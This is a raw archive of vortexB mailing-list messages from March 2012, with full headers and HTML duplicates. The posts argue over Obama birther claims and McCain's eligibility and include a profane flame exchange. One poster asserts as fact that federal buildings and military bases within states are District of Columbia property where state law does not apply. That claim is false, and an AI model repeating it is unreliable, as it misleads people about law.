Mar 2012 13:22:45 -0800 Resent-Date: Fri, 9 Mar 2012 13:22:45 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authority-Analysis: v=1.1 cv=psWcb5N98119OaOi9bjyg15qVElTHlpKZyP+LUQnThs= c=1 sm=1 a=yUnIBFQkZM0A:10 a=IkcTkHD0fZMA:10 a=t+194oyOKel6p+o+czWDVA==:17 a=yTIk75XiAAAA:8 a=hOpmn2quAAAA:8 a=zhR0SU109QJt7cCxadMA:9 a=QEXdDO2ut3YA:10 a=8PGfyiCYVrkA:10 a=hUswqBWy9Q8A:10 a=t+194oyOKel6p+o+czWDVA==:117 From: "Mark Iverson-ZeroPoint" To: References: <2C12DDD120724F1D944AB3EFC24880C8@REVTEC1> <001101ccfe00$28505470$78f0fd50$@net> <00ac01ccfe1e$021de790$0659b6b0$@net> <20120309182502.GD26232@shell.resist.ca> <00cf01ccfe2d$2cfaf750$86f0e5f0$@net> <20120309195335.GF26232@shell.resist.ca> <00e401ccfe35$096e5810$1c4b0830$@net> <20120309204344.GI26232@shell.resist.ca> In-Reply-To: <20120309204344.GI26232@shell.resist.ca> Subject: RE: [VoB]:true or false Date: Fri, 9 Mar 2012 13:19:21 -0800 Message-ID: <00f401ccfe3a$4bf44640$e3dcd2c0$@net> MIME-Version: 1.0 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: Acz+NVzEA/hXH7g7SmWF4+otb0YKzAABGdSw Content-Language: en-us Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4546 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 787 grok, This forum, vortexB, is for OFF-TOPIC postings which are NOT OU-related! You of all persons should know this since you were banned from the main = forum for obvious reasons... so no, I'll say whatever the hell I want to = say on this forum, as will you. -----Original Message----- From: grok [mailto:grok@resist.ca]=20 Sent: Friday, March 09, 2012 12:44 PM To: vortexb-l@eskimo.com Subject: Re: [VoB]:true or false As the smoke cleared, Mark Iverson-ZeroPoint = mounted the barricade and roared out: > Anyone who doesn't flow with hatred such as yours is a fascist in your = > warped mind... done anything productive lately with your life grok, or = > just your usual whining and name-calling? Mind your own fucking business. Stick to OU topix here -- or be flamed, = asshole. -- grok. > -----Original Message----- > From: grok [mailto:grok@resist.ca] > Sent: Friday, March 09, 2012 11:54 AM > To: vortexb-l@eskimo.com > Subject: Re: [VoB]:true or false >=20 >=20 > As the smoke cleared, Mark Iverson-ZeroPoint = mounted the barricade and roared out: >=20 > > grok's typical response of name-calling, lacking any attempt to = discuss or provide facts to support his position. >=20 > You don't compromise with fascists, dumb-ass. Basic Politix. >=20 > -- grok. >=20 >=20 >=20 -- The Financiers & Banksters have looted untold trillions of our future = earnings. Their bureaucratic police & military goons are here to make us all pay = for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT = *Socialism*... From vortexb-l-request@eskimo.com Fri Mar 9 13:55:51 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q29Ltl4h001063; Fri, 9 Mar 2012 13:55:48 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q29Ltk4T001050; Fri, 9 Mar 2012 13:55:46 -0800 Resent-Date: Fri, 9 Mar 2012 13:55:46 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=2d56NeoA15vr9/iYzdfDNHVN7mem7F5O0j6AdhJfsD8=; b=GJ758tewjT2TiWLyPP002WPqyAtnJxv2uHKiaAExw09rqloVGc34AhmB7rqYOTQ088 BGZXLdbSMWn+Fae4oGGHTrHl99EUHPZk9cU9DCkElKQa+vxH7SHGAzOyq7t6iUMiTJsA 4dKM3utGbKO9Fy7vXjFHZd4QxBPIneJt5jbPUdCzhYNs+e1FPS7K81/pFFa3qYqbVPGL wpuYLEo1vaFTFDRJVYetyCj0cDDbDgvgWzgTWuhj005rQq8SdJO7Ls+hWzNSfhuP8p94 cLH0jZiv2fKkHos0aV68g0AEJFITrxubxGLiRMWLi23r9wmxuvJjNXyC493XjOBtbKgg I/3Q== MIME-Version: 1.0 In-Reply-To: <20120309095038.963fc50c7cbe11385de99502@antichef.com> References: <2C12DDD120724F1D944AB3EFC24880C8@REVTEC1> <001101ccfe00$28505470$78f0fd50$@net> <20120309095038.963fc50c7cbe11385de99502@antichef.com> Date: Fri, 9 Mar 2012 14:51:55 -0700 Message-ID: Subject: Re: [VoB]:true or false From: leaking pen To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=e89a8ff24bd1b5e0d204bad666ce Resent-Message-ID: <0iB1KD.A.VQ.ixnWPB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4547 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 788 --e89a8ff24bd1b5e0d204bad666ce Content-Type: text/plain; charset=ISO-8859-1 Be honest. If he was white, would it be such a big deal? (There is question about whether or not Mccain can be considered a natural born citizen. How much did you hear about that?) On Fri, Mar 9, 2012 at 7:50 AM, Vorl Bek wrote: > > > > > > http://www.youtube.com/watch?v=MwhKuunp8D8&feature=player_embedded > > > > > The truth of the matter is that we elected a black man as > > president of the United States. > > > > I suggest those that have a problem with the reality of this > > fact... > > I don't get it: how does the video have a problem with Obama's > race? As far as I can tell, it is about whether or not he is a > natural-born US citizen. > > --e89a8ff24bd1b5e0d204bad666ce Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Be honest. If he was white, would it be such a big deal?=A0 (There is quest= ion about whether or not Mccain can be considered a natural born citizen. H= ow much did you hear about that?)

On Fri,= Mar 9, 2012 at 7:50 AM, Vorl Bek <vorl.bek@antichef.com> wrote:

>
> > http://www.youtube.com/watch?v=3DMw= hKuunp8D8&feature=3Dplayer_embedded

>
> The truth of the matter is that we elected a black man as
> president of the United States.
>
> I suggest those that have a problem with the reality of this
> fact...

I don't get it: how does the video have a problem with Obama's
race? As far as I can tell, it is about whether or not he is a
natural-born US citizen.


--e89a8ff24bd1b5e0d204bad666ce-- From vortexb-l-request@eskimo.com Fri Mar 9 14:16:21 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q29MGI01016249; Fri, 9 Mar 2012 14:16:18 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q29MGHC2016229; Fri, 9 Mar 2012 14:16:17 -0800 Resent-Date: Fri, 9 Mar 2012 14:16:17 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgsGAKU/KE/O+Ihr/2dsb2JhbACBX48mjk6IcJ4ZhhkEhlCYVA X-IronPort-AV: E=Sophos;i="4.73,1,1325480400"; d="scan'208";a="167048314" Date: Fri, 9 Mar 2012 17:12:40 -0500 From: Vorl Bek To: vortexb-l@eskimo.com Subject: Re: [VoB]:true or false Message-Id: <20120309171240.2754df55c968c1092b67b9d3@antichef.com> In-Reply-To: References: <2C12DDD120724F1D944AB3EFC24880C8@REVTEC1> <001101ccfe00$28505470$78f0fd50$@net> <20120309095038.963fc50c7cbe11385de99502@antichef.com> X-Mailer: Sylpheed 3.2.0beta3 (GTK+ 2.24.6; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4548 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 789 > Be honest. If he was white, would it be such a big deal? I don't see why not. Politicians are scumbags, more often than not, and will do anything to destroy an opponent, including whipping up a theory about Obama's place of birth. > (There > is question about whether or not Mccain can be considered a > natural born citizen. How much did you hear about that?) I heard something about it; but McCain lost and isn't running so nobody cares. > > On Fri, Mar 9, 2012 at 7:50 AM, Vorl Bek > wrote: > > > > > > > > > > http://www.youtube.com/watch?v=MwhKuunp8D8&feature=player_embedded > > > > > > > > The truth of the matter is that we elected a black man as > > > president of the United States. > > > > > > I suggest those that have a problem with the reality of this > > > fact... > > > > I don't get it: how does the video have a problem with Obama's > > race? As far as I can tell, it is about whether or not he is a > > natural-born US citizen. > > > > From vortexb-l-request@eskimo.com Fri Mar 9 14:49:25 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q29MnLm4009529; Fri, 9 Mar 2012 14:49:21 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q29MnKGf009521; Fri, 9 Mar 2012 14:49:20 -0800 Resent-Date: Fri, 9 Mar 2012 14:49:20 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authority-Analysis: v=1.1 cv=JYQIUidRAECiNa+jsiaNMIhYElg3H2WoMKCJIGO75f4= c=1 sm=1 a=yUnIBFQkZM0A:10 a=t+194oyOKel6p+o+czWDVA==:17 a=pGLkceISAAAA:8 a=yTIk75XiAAAA:8 a=cq5XInVMAAAA:8 a=1-DPfe2kAAAA:20 a=gvW9OuDMbrnQSqnYahgA:9 a=VfVFA0Z4MODdhEl7hJEA:7 a=CjuIK1q_8ugA:10 a=MSl-tDqOz04A:10 a=8PGfyiCYVrkA:10 a=JmanU6s_A0cA:10 a=sh6PArqQtYdngLzxv5aEQJAsMbE=:19 a=yMhMjlubAAAA:8 a=SSmOFEACAAAA:8 a=G67BtwwxvuhK9ZMMc18A:9 a=LxQho2aEZ-i0AO6iyYgA:7 a=gKO2Hq4RSVkA:10 a=hTZeC7Yk6K0A:10 a=tXsnliwV7b4A:10 a=t+194oyOKel6p+o+czWDVA==:117 From: "Mark Iverson-ZeroPoint" To: References: <2C12DDD120724F1D944AB3EFC24880C8@REVTEC1> <001101ccfe00$28505470$78f0fd50$@net> <20120309095038.963fc50c7cbe11385de99502@antichef.com> In-Reply-To: Subject: RE: [VoB]:true or false Date: Fri, 9 Mar 2012 14:45:56 -0800 Message-ID: <010101ccfe46$64242d00$2c6c8700$@net> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0102_01CCFE03.5600ED00" X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: Acz+PuKY857EZPqgRsG8S25RTUcLIgABO07Q Content-Language: en-us Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4549 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 790 This is a multi-part message in MIME format. ------=_NextPart_000_0102_01CCFE03.5600ED00 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit "Be honest. If he was white, would it be such a big deal?" It would to me, and most people I associate with. when we start compromising fundamental rights and laws just so our 'party' can win, is the beginning of the end for freedom and individual rights. I don't care who it is, or the color of their skin, all laws must be applied equally or there is no real justice. "There is question about whether or not McCain can be considered a natural born citizen. How much did you hear about that?" Not much, but the press certainly brought up that issue during the campaign, and even the liberal press dropped it quite quickly because both of McCain's parents are U.S. Citizens. The only possible issue there was that he was born outside the U.S. But that is because his father was military and they were stationed outside the U.S. It would not surprise me if our treaties with other countries allow for some element of U.S. legal jurisdiction for U.S. military bases on foreign soil (outside the geographical/continental U.S. borders). Thus, the legal ramifications are that if born on such a U.S. military base, one would legally be considered 'on U.S. soil'. Were you aware of the fact that state law does NOT apply on military bases within one of the 50 states; federal law applies. Why? Read the Constitution. because the District of Columbia, aka, "that area over which the federal government has exclusive legislative jurisdiction", extends to military installations and other fed'l buildings which are located physically within one of the 50 states. Look at any military base and, for example, federal court buildings, in your given state, and you are looking at District of Columbia property. State law does not apply there. -Mark From: leaking pen [mailto:itsatrap@gmail.com] Sent: Friday, March 09, 2012 1:52 PM To: vortexb-l@eskimo.com Subject: Re: [VoB]:true or false Be honest. If he was white, would it be such a big deal? (There is question about whether or not Mccain can be considered a natural born citizen. How much did you hear about that?) On Fri, Mar 9, 2012 at 7:50 AM, Vorl Bek wrote: > > > http://www.youtube.com/watch?v=MwhKuunp8D8 &feature=player_embedded > > The truth of the matter is that we elected a black man as > president of the United States. > > I suggest those that have a problem with the reality of this > fact... I don't get it: how does the video have a problem with Obama's race? As far as I can tell, it is about whether or not he is a natural-born US citizen. ------=_NextPart_000_0102_01CCFE03.5600ED00 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

“Be honest. If he was white, would it be such a big = deal?”

It would to me, and most = people I associate with… when we start compromising fundamental = rights and laws just so our ‘party’ can win, is the = beginning of the end for freedom and individual rights.  I = don’t care who it is, or the color of their skin, all laws must be = applied equally or there is no real justice…

 

“There = is question about whether or not McCain can be considered a natural born = citizen. How much did you hear about that?”

Not much, but the press certainly brought up that = issue during the campaign, and even the liberal press dropped it quite = quickly because both of McCain’s parents are U.S. Citizens.  = The only possible issue there was that he was born outside the = U.S.  But that is because his father was military and they were = stationed outside the U.S.  It would not surprise me if our = treaties with other countries allow for some element of U.S. legal = jurisdiction for U.S. military bases on foreign soil (outside the = geographical/continental U.S. borders).  Thus, the legal = ramifications are that if born on such a U.S. military base, one would = legally be considered ‘on U.S. soil’.

 

Were you = aware of the fact that state law does NOT apply on military bases within = one of the 50 states; federal law applies.  Why?  Read the = Constitution… because the District of Columbia, aka, “that = area over which the federal government has exclusive legislative = jurisdiction”, extends to military installations and other = fed’l buildings which are located physically within one of the 50 = states.  Look at any military base and, for example, federal court = buildings, in your given state, and you are looking at District of = Columbia property.  State law does not apply = there…

 

-Mark

 

From:= = leaking pen [mailto:itsatrap@gmail.com]
Sent: Friday, March = 09, 2012 1:52 PM
To: vortexb-l@eskimo.com
Subject: = Re: [VoB]:true or false

 

Be honest. If he was white, would it be = such a big deal?  (There is question about whether or not Mccain = can be considered a natural born citizen. How much did you hear about = that?)

On Fri, Mar 9, 2012 at = 7:50 AM, Vorl Bek <vorl.bek@antichef.com> = wrote:


>
> > http://www.youtube.com/watch?v=3DMwhKuunp8D8&featur= e=3Dplayer_embedded


>
> The truth of the matter is that we = elected a black man as
> president of the United = States.
>
> I suggest those that have a problem with the = reality of this

> fact...

I don't get it: how = does the video have a problem with Obama's
race? As far as I can = tell, it is about whether or not he is a
natural-born US = citizen.

 

------=_NextPart_000_0102_01CCFE03.5600ED00-- From vortexb-l-request@eskimo.com Fri Mar 9 15:04:57 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q29N4nui018878; Fri, 9 Mar 2012 15:04:49 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q29N4XcX018724; Fri, 9 Mar 2012 15:04:33 -0800 Resent-Date: Fri, 9 Mar 2012 15:04:33 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=6Az6qSNzc0fbIh1jZIe3IPnDPiPObz4hZV46EOgN01s=; b=kBgGP9f/iLuxyrtnVdLqv3B62ca+sXIwkoHuYnn+kVpgd7vKBKMortzBR6tNVp3CEc M1e+ZW4SZ8xunTtcT5Y+dspflmUrnbOtBbAxjil2gVpbgEqr4fKnThWIWXme18PIR1I2 +3cALbJzUM2fK+KswxD0a8M8Pn0bgKef7EAUxOSb4uU8zFaYpaAFW9jPTQV1z6VBCoZd R1Ozy2k21PKeP6dNMcBS/nfcLBTuVe8mWN77up4EF3T5AVH/Jbxgv1v/PhsDodIoXJrL /Plx8/e69Dwi8RC7fTrmCa+VqYSVwYNtsswwCDFsCoTgIpnxdxn5jEtQe4NKxItSN5HK hMBQ== MIME-Version: 1.0 In-Reply-To: <010101ccfe46$64242d00$2c6c8700$@net> References: <2C12DDD120724F1D944AB3EFC24880C8@REVTEC1> <001101ccfe00$28505470$78f0fd50$@net> <20120309095038.963fc50c7cbe11385de99502@antichef.com> <010101ccfe46$64242d00$2c6c8700$@net> Date: Fri, 9 Mar 2012 16:00:41 -0700 Message-ID: Subject: Re: [VoB]:true or false From: leaking pen To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=f46d040f9c3c9c197404bad75cb4 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4550 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 791 --f46d040f9c3c9c197404bad75cb4 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable He wasn't born on base, but in a private hospital. On Fri, Mar 9, 2012 at 3:45 PM, Mark Iverson-ZeroPoint < zeropoint@charter.net> wrote: > =93Be honest. If he was white, would it be such a big deal?=94**** > > It would to me, and most people I associate with=85 when we start > compromising fundamental rights and laws just so our =91party=92 can win,= is > the beginning of the end for freedom and individual rights. I don=92t ca= re > who it is, or the color of their skin, all laws must be applied equally o= r > there is no real justice=85**** > > ** ** > > =93There is question about whether or not McCain can be considered a natu= ral > born citizen. How much did you hear about that?=94**** > > Not much, but the press certainly brought up that issue during the > campaign, and even the liberal press dropped it quite quickly because bot= h > of McCain=92s parents are U.S. Citizens. The only possible issue there w= as > that he was born outside the U.S. But that is because his father was > military and they were stationed outside the U.S. It would not surprise = me > if our treaties with other countries allow for some element of U.S. legal > jurisdiction for U.S. military bases on foreign soil (outside the > geographical/continental U.S. borders). Thus, the legal ramifications ar= e > that if born on such a U.S. military base, one would legally be considere= d > =91on U.S. soil=92.**** > > ** ** > > Were you aware of the fact that state law does NOT apply on military base= s > within one of the 50 states; federal law applies. Why? Read the > Constitution=85 because the District of Columbia, aka, =93that area over = which > the federal government has exclusive legislative jurisdiction=94, extends= to > military installations and other fed=92l buildings which are located > physically within one of the 50 states. Look at any military base and, f= or > example, federal court buildings, in your given state, and you are lookin= g > at District of Columbia property. State law does not apply there=85**** > > ** ** > > -Mark**** > > ** ** > > *From:* leaking pen [mailto:itsatrap@gmail.com] > *Sent:* Friday, March 09, 2012 1:52 PM > > *To:* vortexb-l@eskimo.com > *Subject:* Re: [VoB]:true or false**** > > ** ** > > Be honest. If he was white, would it be such a big deal? (There is > question about whether or not Mccain can be considered a natural born > citizen. How much did you hear about that?)**** > > On Fri, Mar 9, 2012 at 7:50 AM, Vorl Bek wrote:**= * > * > > > > > > > http://www.youtube.com/watch?v=3DMwhKuunp8D8&feature=3Dplayer_embedde= d**** > > > > > > The truth of the matter is that we elected a black man as > > president of the United States. > > > > I suggest those that have a problem with the reality of this**** > > > fact... > > I don't get it: how does the video have a problem with Obama's > race? As far as I can tell, it is about whether or not he is a > natural-born US citizen.**** > > ** ** > --f46d040f9c3c9c197404bad75cb4 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable He wasn't born on base, but in a private hospital.

On Fri, Mar 9, 2012 at 3:45 PM, Mark Iverson-ZeroPoint <zeropoint@chart= er.net> wrote:

=93Be = honest. If he was white, would it be such a big deal?=94

It would to me, and most people I associate with=85 = when we start compromising fundamental rights and laws just so our =91party= =92 can win, is the beginning of the end for freedom and individual rights.= =A0 I don=92t care who it is, or the color of their skin, all laws must be = applied equally or there is no real justice=85

=A0

=93There= is question about whether or not McCain can be considered a natural born c= itizen. How much did you hear about that?=94

Not much, but the press certainly brought up that issue during the campaign= , and even the liberal press dropped it quite quickly because both of McCai= n=92s parents are U.S. Citizens.=A0 The only possible issue there was that = he was born outside the U.S.=A0 But that is because his father was military= and they were stationed outside the U.S.=A0 It would not surprise me if ou= r treaties with other countries allow for some element of U.S. legal jurisd= iction for U.S. military bases on foreign soil (outside the geographical/co= ntinental U.S. borders).=A0 Thus, the legal ramifications are that if born = on such a U.S. military base, one would legally be considered =91on U.S. so= il=92.

=A0

Were you= aware of the fact that state law does NOT apply on military bases within o= ne of the 50 states; federal law applies.=A0 Why?=A0 Read the Constitution= =85 because the District of Columbia, aka, =93that area over which the fede= ral government has exclusive legislative jurisdiction=94, extends to milita= ry installations and other fed=92l buildings which are located physically w= ithin one of the 50 states.=A0 Look at any military base and, for example, = federal court buildings, in your given state, and you are looking at Distri= ct of Columbia property.=A0 State law does not apply there=85=

=A0

-Mark

=A0

From: leaking pen [mailto:itsatrap@gmail.com]
Sent: Friday, March 09, 2012 1:52 PM

To: vorte= xb-l@eskimo.com
Subject: Re: [VoB]:true or false

=A0

Be honest. If he was white, would it be= such a big deal?=A0 (There is question about whether or not Mccain can be = considered a natural born citizen. How much did you hear about that?)

On Fri, Mar 9, 2012 at 7= :50 AM, Vorl Bek <vorl.bek@antichef.com> wrote:


>
> > http://www.youtube.com/= watch?v=3DMwhKuunp8D8&feature=3Dplayer_embedded


>
> The truth of the matter is that we elected a black man as<= br>> president of the United States.
>
> I suggest those tha= t have a problem with the reality of this

> fact...

I don't get it: how does the video have a problem w= ith Obama's
race? As far as I can tell, it is about whether or not h= e is a
natural-born US citizen.

=A0


--f46d040f9c3c9c197404bad75cb4-- From vortexb-l-request@eskimo.com Fri Mar 9 15:19:50 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q29NJljU029663; Fri, 9 Mar 2012 15:19:47 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q29NJkO0029652; Fri, 9 Mar 2012 15:19:46 -0800 Resent-Date: Fri, 9 Mar 2012 15:19:46 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authority-Analysis: v=1.1 cv=psWcb5N98119OaOi9bjyg15qVElTHlpKZyP+LUQnThs= c=1 sm=1 a=yUnIBFQkZM0A:10 a=t+194oyOKel6p+o+czWDVA==:17 a=pGLkceISAAAA:8 a=yTIk75XiAAAA:8 a=hOpmn2quAAAA:8 a=cq5XInVMAAAA:8 a=1-DPfe2kAAAA:20 a=zAsZfb3hre6nRv2wEWQA:9 a=3CWuJURtRQjCBn4SNtgA:7 a=CjuIK1q_8ugA:10 a=MSl-tDqOz04A:10 a=8PGfyiCYVrkA:10 a=hUswqBWy9Q8A:10 a=JmanU6s_A0cA:10 a=sh6PArqQtYdngLzxv5aEQJAsMbE=:19 a=yMhMjlubAAAA:8 a=SSmOFEACAAAA:8 a=aNwpUG2asvRsFl57GuMA:9 a=gxoqbKQkjlvMVr9KVIAA:7 a=gKO2Hq4RSVkA:10 a=hTZeC7Yk6K0A:10 a=tXsnliwV7b4A:10 a=t+194oyOKel6p+o+czWDVA==:117 From: "Mark Iverson-ZeroPoint" To: References: <2C12DDD120724F1D944AB3EFC24880C8@REVTEC1> <001101ccfe00$28505470$78f0fd50$@net> <20120309095038.963fc50c7cbe11385de99502@antichef.com> <010101ccfe46$64242d00$2c6c8700$@net> In-Reply-To: Subject: RE: [VoB]:true or false Date: Fri, 9 Mar 2012 15:16:26 -0800 Message-ID: <011401ccfe4a$a6f5bfa0$f4e13ee0$@net> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0115_01CCFE07.98D27FA0" X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: Acz+SIM/eaC5QYydTYqjZavLLN1yWwAASzDA Content-Language: en-us Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4551 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 792 This is a multi-part message in MIME format. ------=_NextPart_000_0115_01CCFE07.98D27FA0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Then I'd like to hear a rational discussion of the facts surrounding his birth, and documents to prove them from both sides; if the facts support your point then I would have supported efforts to restrict him from entering the campaign. If he wasn't born on what could be considered U.S. soil, then I think he should have been prevented from running. these kinds of issues should be CLEARLY proven beyond doubt before a person is allowed to enter the campaign. I feel that simply because of my position, you think I voted for McCain. I didn't. From: leaking pen [mailto:itsatrap@gmail.com] Sent: Friday, March 09, 2012 3:01 PM To: vortexb-l@eskimo.com Subject: Re: [VoB]:true or false He wasn't born on base, but in a private hospital. On Fri, Mar 9, 2012 at 3:45 PM, Mark Iverson-ZeroPoint wrote: "Be honest. If he was white, would it be such a big deal?" It would to me, and most people I associate with. when we start compromising fundamental rights and laws just so our 'party' can win, is the beginning of the end for freedom and individual rights. I don't care who it is, or the color of their skin, all laws must be applied equally or there is no real justice. "There is question about whether or not McCain can be considered a natural born citizen. How much did you hear about that?" Not much, but the press certainly brought up that issue during the campaign, and even the liberal press dropped it quite quickly because both of McCain's parents are U.S. Citizens. The only possible issue there was that he was born outside the U.S. But that is because his father was military and they were stationed outside the U.S. It would not surprise me if our treaties with other countries allow for some element of U.S. legal jurisdiction for U.S. military bases on foreign soil (outside the geographical/continental U.S. borders). Thus, the legal ramifications are that if born on such a U.S. military base, one would legally be considered 'on U.S. soil'. Were you aware of the fact that state law does NOT apply on military bases within one of the 50 states; federal law applies. Why? Read the Constitution. because the District of Columbia, aka, "that area over which the federal government has exclusive legislative jurisdiction", extends to military installations and other fed'l buildings which are located physically within one of the 50 states. Look at any military base and, for example, federal court buildings, in your given state, and you are looking at District of Columbia property. State law does not apply there. -Mark From: leaking pen [mailto:itsatrap@gmail.com] Sent: Friday, March 09, 2012 1:52 PM To: vortexb-l@eskimo.com Subject: Re: [VoB]:true or false Be honest. If he was white, would it be such a big deal? (There is question about whether or not Mccain can be considered a natural born citizen. How much did you hear about that?) On Fri, Mar 9, 2012 at 7:50 AM, Vorl Bek wrote: > > > http://www.youtube.com/watch?v=MwhKuunp8D8 &feature=player_embedded > > The truth of the matter is that we elected a black man as > president of the United States. > > I suggest those that have a problem with the reality of this > fact... I don't get it: how does the video have a problem with Obama's race? As far as I can tell, it is about whether or not he is a natural-born US citizen. ------=_NextPart_000_0115_01CCFE07.98D27FA0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Then I’d like to hear a rational discussion of the facts = surrounding his birth, and documents to prove them from both sides; if = the facts support your point then I would have supported efforts to = restrict him from entering the campaign.  If he wasn’t born = on what could be considered U.S. soil, then I think he should have been = prevented from running… these kinds of issues should be CLEARLY = proven beyond doubt before a person is allowed to enter the = campaign.

 

I feel that simply because of my position, you think I voted for = McCain… I didn’t.

 

From:= = leaking pen [mailto:itsatrap@gmail.com]
Sent: Friday, March = 09, 2012 3:01 PM
To: vortexb-l@eskimo.com
Subject: = Re: [VoB]:true or false

 

He wasn't born on base, but in a private = hospital.

On Fri, Mar 9, 2012 = at 3:45 PM, Mark Iverson-ZeroPoint <zeropoint@charter.net> = wrote:

“Be honest. If he was white, would it be such a big = deal?”

It would to = me, and most people I associate with… when we start compromising = fundamental rights and laws just so our ‘party’ can win, is = the beginning of the end for freedom and individual rights.  I = don’t care who it is, or the color of their skin, all laws must be = applied equally or there is no real justice…

 <= /o:p>

“There= is question about whether or not McCain can be considered a natural = born citizen. How much did you hear about that?”

Not much, = but the press certainly brought up that issue during the campaign, and = even the liberal press dropped it quite quickly because both of = McCain’s parents are U.S. Citizens.  The only possible issue = there was that he was born outside the U.S.  But that is because = his father was military and they were stationed outside the U.S.  = It would not surprise me if our treaties with other countries allow for = some element of U.S. legal jurisdiction for U.S. military bases on = foreign soil (outside the geographical/continental U.S. borders).  = Thus, the legal ramifications are that if born on such a U.S. military = base, one would legally be considered ‘on U.S. = soil’.

 <= /o:p>

Were you = aware of the fact that state law does NOT apply on military bases within = one of the 50 states; federal law applies.  Why?  Read the = Constitution… because the District of Columbia, aka, “that = area over which the federal government has exclusive legislative = jurisdiction”, extends to military installations and other = fed’l buildings which are located physically within one of the 50 = states.  Look at any military base and, for example, federal court = buildings, in your given state, and you are looking at District of = Columbia property.  State law does not apply = there…

 <= /o:p>

-Mark

 

From:= = leaking pen [mailto:itsatrap@gmail.com]
Sent: Friday, March = 09, 2012 1:52 PM


To: vortexb-l@eskimo.com
Subject: Re: = [VoB]:true or false

 <= /o:p>

Be honest. If he = was white, would it be such a big deal?  (There is question about = whether or not Mccain can be considered a natural born citizen. How much = did you hear about that?)

